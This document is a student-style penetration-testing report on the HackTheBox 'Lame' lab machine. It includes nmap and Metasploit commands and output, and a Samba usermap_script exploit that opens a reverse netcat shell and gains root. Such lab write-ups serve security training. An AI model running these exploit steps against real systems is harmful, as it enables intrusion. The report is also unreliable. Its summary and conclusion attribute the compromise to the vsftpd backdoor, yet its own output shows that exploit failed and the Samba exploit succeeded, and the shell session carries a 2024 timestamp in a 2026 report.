



Full VAPT Cycle



Submitted By
Akash Bangera
VAPT Analyst



Project Title
Comprehensive VAPT Engagement



Submitted To
CYART VAPT Team



Submission Date
[03-4-2026]



Contents

1. Executive Summary	3
1.1 Overall Risk Level	3
1.2 Key Finding	3
1.3 Business impact	3
2. Scope	3
2.1 Target IP	3
2.2 Target Service	4
2.3 Testing Type	4
2.4 Tool used	4
3. Methodology	4
4. Technical Findings	4
5. Impact	9
6. Recommendation	9
7. Conclusion	9
8. Non-Technical Summary	9



1. Executive Summary

A full-scope Vulnerability Assessment and Penetration Testing (VAPT) engagement was performed against a HackTheBox VM (Lame). The assessment identified a critical **VSFTPD 2.3.4 backdoor vulnerability**, enabling unauthenticated remote code execution.

Exploitation resulted in shell access, confirming full system compromise. Additional risks included insecure service exposure and a lack of hardening controls. The system is highly vulnerable due to outdated software. Immediate patching and service restriction are required.

1.1 Overall Risk Level

- Critical

1.2 Key Finding

- Backdoor Command Execution via FTP Service

1.3 Business impact

An attacker can gain complete control of the system, leading to:

- Data Breaches
- Unauthorized System Modification
- Network-Wide Attacks (Lateral Movement)

2. Scope

2.1 Target IP

10.10.10.3



2.2 Target Service

All

2.3 Testing Type

Black Box Testing

2.4 Tool used

- Kali Linux
- Metasploit
- Nessus

Date:

26-03-2026

3. Methodology

Testing was performed using PTES phases:

1. Reconnaissance
2. Scanning
3. Vulnerability Analysis
4. Exploitation
5. Post-Exploitation
6. Reporting

4. Technical Findings

4.1 Title:

VSFTPD 2.3.4 Backdoor Command Execution

4.2 Severity:

Critical



CVE:

2011-2523

Affected Service:

File Transfer Protocol (FTP)

Description:

The FTP service running on the target system is vulnerable due to the presence of a backdoor in vsftpd version 2.3.4. This vulnerability allows remote, unauthenticated attackers to execute arbitrary commands on the target system by triggering the malicious backdoor, leading to full system compromise.

Proof Of Concept (PoC):

Step 1: Scanning

Command used:

➤ `nmap -A -p- -T5 10.10.10.3`

```
Nmap scan report for 10.10.10.3
Host is up (0.031s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 10.10.14.117
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)
```



Step 2: Exploitation

Command used:

- msfconsole -q
- search vsftpd 2.3.4
- use exploit/unix/ftp/vsftpd_234_backdoor
- set RHOSTS 10.10.10.3

```
msf6 > search vsftpd 2.3.4
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -
0  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  ---      -
CHOST       -                no        The local client address
CPORT       -                no        The local client port
Proxies     -                no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS      10.10.10.3       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       21               yes       The target port (TCP)

Exploit target:
  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
```

I believe the exploit is not working because it tries to connect to port 6200 at the end. However, this port is blocked by the firewall, preventing us from connecting to it.

139,445 — SMB

Since Nmap did not show the version of SMB running, I decided to use Metasploit to enumerate the version.



```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > search smb_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/scanner/smb/smb_version         .               normal  No      SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS          yes          The target host(s), see https://docs.
                                metasploit.com/docs/using-metasploit/
                                basics/using-metasploit.html
  RPORT          no           The target port (TCP)
  THREADS        1           The number of concurrent threads (max
                                one per host)

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set rhost 10.10.10.3
rhost => 10.10.10.3
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.10.10.3:445 - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.10.10.3:445 - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.10.10.3: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > 
```

Luckily, this version of Samba is vulnerable to CVE-2007-2447.

CVE-2007-2447

We can continue to use Metasploit to exploit this vulnerability.

```
msf6 auxiliary(scanner/smb/smb_version) > search samba 3.0.20

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  exploit/multi/samba/usermap_script 2007-05-14      excellent No      Samba "username map script" Command E

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 auxiliary(scanner/smb/smb_version) > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
```



```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      192.168.0.225    no        The local client address
  CPORT      4444              no        The local client port
  Proxies    []                no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     10.10.10.3        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139               yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.0.225    yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => 10.10.14.117
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.117:4444
[*] Command shell session 1 opened (10.10.14.117:4444 -> 10.10.10.3:48567) at 2024-06-24 13:21:21 +0200

id
uid=0(root) gid=0(root)
```

Result

- Reverse shell successfully obtained
- Privilege level: root
- Full administrative access confirmed

Log:

Timestamp	Target IP	Vulnerability	PTES
2026-04-02 2:10	10.10.10.3	Backdoor command execution	Exploitation



5. Impact

- Data Exfiltration and Theft
- Persistent Unauthorized Access
- Ransomware and Malware Deployment
- Supply Chain Contamination
- Lateral Movement

6. Recommendation

Immediate Actions

- ✓ Replace FTP with Secure Alternatives
- ✓ Patch Management
- ✓ Harden FTP Configuration
- ✓ Verify System Integrity
- ✓ Remove Vulnerable Service

7. Conclusion

The assessment of the *Lame Hack The Box* machine demonstrated the successful exploitation of a critical backdoor vulnerability in vsftpd 2.3.4, resulting in unauthenticated remote command execution. This misconfiguration allowed immediate shell access to the target system without requiring valid credentials, highlighting a severe security flaw.

8. Non-Technical Summary

A security assessment was conducted on the target system to identify potential weaknesses that could be exploited by attackers. The testing revealed a critical vulnerability in the FTP service running on vsftpd 2.3.4, which allowed unauthorized access without requiring login credentials. By exploiting this flaw, full control of the system was achieved, demonstrating a complete compromise.



This level of access means an attacker could view, modify, or delete sensitive data, install malicious software, and potentially use the system as a launching point to attack other systems within the network. The presence of outdated software and insufficient security controls significantly increased the overall risk.

The findings highlight the importance of regularly updating systems, removing unnecessary services, and implementing stronger security configurations. Immediate corrective actions are required to reduce the risk of data breaches, operational disruption, and broader network compromise